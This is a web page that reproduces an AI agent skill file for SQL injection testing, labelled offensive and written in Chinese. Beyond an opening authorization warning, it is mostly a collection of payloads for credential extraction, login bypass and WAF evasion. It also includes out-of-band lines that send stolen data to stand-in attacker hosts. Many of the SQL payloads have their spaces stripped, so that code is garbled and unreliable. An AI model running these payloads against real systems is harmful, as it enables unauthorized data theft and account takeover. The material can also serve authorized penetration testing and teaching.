ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

sql-injection-testing - SKILL

sql-injection-testing - SKILL

name: sql-injection-testing
description: “Execute comprehensive SQL injection vulnerability assessments on web applications to identify database security flaws, demonstrate exploitation techniques, and validate input sanitization mechanisms.”
risk: offensive
source: community
author: zebbern
date_added: “2026-02-27”

⚠️ 仅限授权使用
本技能仅用于教育目的或授权安全评估。
使用此工具前,你必须获得系统所有者的明确书面许可。
滥用此工具是非法的,严格禁止。

强制确认门禁
在运行任何针对目标进行探测、利用、修改、持久化、提取数据或尝试凭据访问的命令之前:

  1. 要求用户说明确切的目标 URL、IP、账户或资源。
  2. 要求用户确认书面授权和允许的范围。
  3. 显示确切的命令并解释其预期效果。
  4. 等待当前对话中的明确确认。

若无此确认,仅保持只读并提供防御性指导。建议使用沙箱、一次性虚拟机或受控实验环境。

仅限授权使用:仅将本技能用于授权安全评估、防御性验证或受控教育环境。

SQL 注入测试

目的

对 Web 应用执行全面的 SQL 注入漏洞评估,以识别数据库安全缺陷、演示利用技术并验证输入清理机制。本技能能够跨带内、盲注和带外攻击向量系统地检测和利用 SQL 注入漏洞,以评估应用安全态势。

输入 / 前置条件

所需访问权限

  • 带有可注入参数的目标 Web 应用 URL
  • Burp Suite 或等效代理工具,用于请求操纵
  • 用于自动化利用的 SQLMap 安装
  • 启用了开发者工具的浏览器

技术要求

  • 理解 SQL 查询语法(MySQL、MSSQL、PostgreSQL、Oracle)
  • 了解 HTTP 请求/响应周期
  • 熟悉数据库模式和结构
  • 具有测试报告的写入权限

法律前置条件

  • 渗透测试的书面授权
  • 明确定义的范围,包括目标 URL 和参数
  • 已建立紧急联系程序
  • 已签订数据处理协议

输出 / 交付物

主要输出

  • 带有严重性评级的 SQL 注入漏洞报告
  • 提取的数据库模式和表结构
  • 认证绕过概念验证演示
  • 带有代码示例的修复建议

证据工件

  • 成功注入的截图
  • HTTP 请求/响应日志
  • 数据库转储(已脱敏)
  • 载荷文档

核心工作流

阶段 1:检测与侦察

识别可注入参数

定位与数据库查询交互的用户控制输入字段:

# 常见注入点 - URL 参数:?id=1、?user=admin、?category=books - 表单字段:username、password、search、comments - Cookie 值:session_id、user_preference - HTTP 头:User-Agent、Referer、X-Forwarded-For
测试基本漏洞指标

插入特殊字符以触发错误响应:

-- 单引号测试'-- 双引号测试"-- 注释序列--#/**/-- 用于查询堆叠的分号;-- 括号)

监控应用响应:

  • 泄露查询结构的数据库错误消息
  • 意外应用行为变化
  • HTTP 500 内部服务器错误
  • 修改后的响应内容或长度
逻辑测试载荷

验证基于布尔的漏洞存在性:

-- 真条件测试page.asp?id=1or1=1page.asp?id=1' or 1=1-- page.asp?id=1" or 1=1-- -- 假条件测试 page.asp?id=1 and 1=2 page.asp?id=1'and1=2--

比较真/假条件之间的响应以确认注入能力。

阶段 2:利用技术

基于 UNION 的提取

将攻击者控制的 SELECT 语句与原始查询结合:

-- 确定列数ORDERBY1--ORDERBY2--ORDERBY3---- 继续直到出错-- 找到可显示的列UNIONSELECTNULL,NULL,NULL--UNIONSELECT'a',NULL,NULL--UNIONSELECTNULL,'a',NULL---- 提取数据UNIONSELECTusername,password,NULLFROMusers--UNIONSELECTtable_name,NULL,NULLFROMinformation_schema.tables--UNIONSELECTcolumn_name,NULL,NULLFROMinformation_schema.columnsWHEREtable_name='users'--
基于错误的提取

强制数据库错误以泄露信息:

-- MSSQL 版本提取1' AND 1=CONVERT(int,(SELECT @@version))-- -- 通过 XPATH 进行 MySQL 提取 1'ANDextractvalue(1,concat(0x7e,(SELECT@@version)))---- PostgreSQL 类型转换错误1'AND1=CAST((SELECTversion())ASint)--
基于布尔的盲注提取

通过应用行为变化推断数据:

-- 字符提取1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'-- 1'AND(SELECTSUBSTRING(username,1,1)FROMusersLIMIT1)='b'---- 条件响应1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--
基于时间的盲注提取

使用数据库 sleep 函数进行确认:

-- MySQL1' AND IF(1=1,SLEEP(5),0)-- 1'ANDIF((SELECTSUBSTRING(password,1,1)FROMusersWHEREusername='admin')='a',SLEEP(5),0)---- MSSQL1'; WAITFOR DELAY '0:0:5'-- -- PostgreSQL 1';SELECTpg_sleep(5)--
带外(OOB)提取

通过外部渠道泄露数据:

-- MSSQL DNS 外带1;EXECmaster..xp_dirtree'\\attacker-server.com\share'---- MySQL DNS 外带1' UNION SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'))---- Oracle HTTP 请求1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--

阶段 3:认证绕过

登录表单利用

构造载荷以绕过凭据验证:

-- 经典绕过admin'-- admin'/*' OR '1'='1' OR '1'='1'-- 'OR'1'='1'/*') OR ('1'='1') OR ('1'='1'-- -- 用户名枚举 admin'AND'1'='1 admin'AND'1'='2

查询转换示例:

-- 原始查询SELECT*FROMusersWHEREusername='input'ANDpassword='input'-- security-allowlist: controlled SQL injection test example-- 注入后(用户名:admin'--)SELECT*FROMusersWHEREusername='admin'--' AND password='anything' -- security-allowlist: controlled SQL injection bypass example-- 密码检查被注释绕过

阶段 4:过滤器绕过技术

字符编码绕过

当特殊字符被阻止时:

-- URL 编码%27(单引号)%22(双引号)%23(井号)-- 双重 URL 编码%2527(单引号)-- Unicode 替代U+0027(撇号) U+02B9(修饰字母 prime)-- 十六进制字符串(MySQL)SELECT*FROMusersWHEREname=0x61646D696E-- 'admin' 的十六进制
空白字符绕过

替换被阻止的空格:

-- 注释替代SELECT/**/username/**/FROM/**/users SEL/**/ECT/**/username/**/FR/**/OM/**/users-- 替代空白字符SELECT%09username%09FROM%09users-- 制表符SELECT%0Ausername%0AFROM%0Ausers-- 换行符
关键字绕过

规避被列入黑名单的 SQL 关键字:

-- 大小写变体SeLeCt,sElEcT,SELECT-- 内联注释SEL/*bypass*/ECT UN/*bypass*/ION-- 双重写入(如果过滤器只移除一次)SELSELECTECT →SELECTUNUNIONION →UNION-- 空字节注入%00SELECT SEL%00ECT

快速参考

检测测试序列

1. 插入 ' → 检查是否有错误 2. 插入 " → 检查是否有错误 3. 尝试:OR 1=1-- → 检查行为变化 4. 尝试:AND 1=2-- → 检查行为变化 5. 尝试:' WAITFOR DELAY '0:0:5'-- → 检查延迟

数据库指纹识别

-- MySQLSELECT@@versionSELECTversion()-- MSSQLSELECT@@versionSELECT@@servername-- PostgreSQLSELECTversion()-- OracleSELECTbannerFROMv$versionSELECT*FROMv$version

信息模式查询

-- MySQL/MSSQL 表枚举SELECTtable_nameFROMinformation_schema.tablesWHEREtable_schema=database()-- 列枚举SELECTcolumn_nameFROMinformation_schema.columnsWHEREtable_name='users'-- Oracle 等效查询SELECTtable_nameFROMall_tablesSELECTcolumn_nameFROMall_tab_columnsWHEREtable_name='USERS'

常用载荷快速列表

用途载荷
基本测试'或"
布尔真OR 1=1--
布尔假AND 1=2--
注释(MySQL)#或--
注释(MSSQL)--
UNION 探测UNION SELECT NULL--
时间延迟AND SLEEP(5)--
认证绕过' OR '1'='1

约束与护栏

操作边界

  • 未经明确授权,绝不执行破坏性查询(DROP、DELETE、TRUNCATE)
  • 将数据提取限制在概念验证数量
  • 避免通过资源密集型查询造成拒绝服务
  • 检测到包含真实用户数据的生产数据库时立即停止

技术限制

  • WAF/IPS 可能阻止常见载荷,需要规避技术
  • 参数化查询可防止标准注入
  • 某些盲注需要大量请求(速率限制问题)
  • 二阶注入需要理解数据流

法律与道德要求

  • 测试前必须存在书面范围协议
  • 记录所有提取的数据并按数据保护要求处理
  • 通过约定的渠道立即报告严重漏洞
  • 绝不访问超出范围要求的数据

示例

示例 1:电子商务产品页 SQLi

场景:测试带 ID 参数的产品展示页

初始请求:

GET /product.php?id=5 HTTP/1.1

检测测试:

GET /product.php?id=5' HTTP/1.1 响应:MySQL 错误 - 在 ''' 附近存在语法错误

列枚举:

GET /product.php?id=5 ORDER BY 4-- HTTP/1.1 响应:正常 GET /product.php?id=5 ORDER BY 5-- HTTP/1.1 响应:错误(确认 4 列)

数据提取:

GET /product.php?id=-5 UNION SELECT 1,username,password,4 FROM admin_users-- HTTP/1.1 响应:显示管理员凭据

示例 2:基于时间的盲注提取

场景:无可见输出,测试盲注

确认漏洞:

id=5'ANDSLEEP(5)---- 响应延迟 5 秒(确认存在漏洞)

提取数据库名称长度:

id=5'ANDIF(LENGTH(database())=8,SLEEP(5),0)---- 延迟确认数据库名称为 8 个字符

提取字符:

id=5' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)-- -- 逐字符迭代提取:'appstore'

示例 3:登录绕过

目标:管理员登录表单

标准登录查询:

SELECT*FROMusersWHEREusername='[input]'ANDpassword='[input]'-- security-allowlist: controlled SQL injection test example

注入载荷:

用户名:administrator'-- 密码:anything

结果查询:

SELECT*FROMusersWHEREusername='administrator'--' AND password='anything' -- security-allowlist: controlled SQL injection bypass example

结果:密码检查被绕过,以管理员身份认证成功。

故障排查

未显示错误消息

  • 应用使用通用错误处理
  • 改用盲注技术(布尔或时间)
  • 监控响应长度差异而不是内容

UNION 注入失败

  • 列数可能不正确 → 使用 ORDER BY 测试
  • 数据类型可能不匹配 → 首先对所有列使用 NULL
  • 结果可能不显示 → 找到可注入的列位置

WAF 阻止请求

  • 使用编码技术(URL、十六进制、Unicode)
  • 在关键字中插入内联注释
  • 尝试相同操作的替代语法
  • 跨多个参数拆分载荷

载荷未执行

  • 验证数据库类型的正确注释语法
  • 检查应用是否使用参数化查询
  • 确认输入到达 SQL 查询(未被客户端过滤)
  • 测试不同的注入点(头部、Cookie)

时间注入不一致

  • 网络延迟可能导致误报
  • 使用更长的延迟(10 秒以上)以获得清晰度
  • 多次测试以确认模式
  • 考虑服务器端缓存效应

使用时机

本技能适用于执行概述中描述的工作流或操作。

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进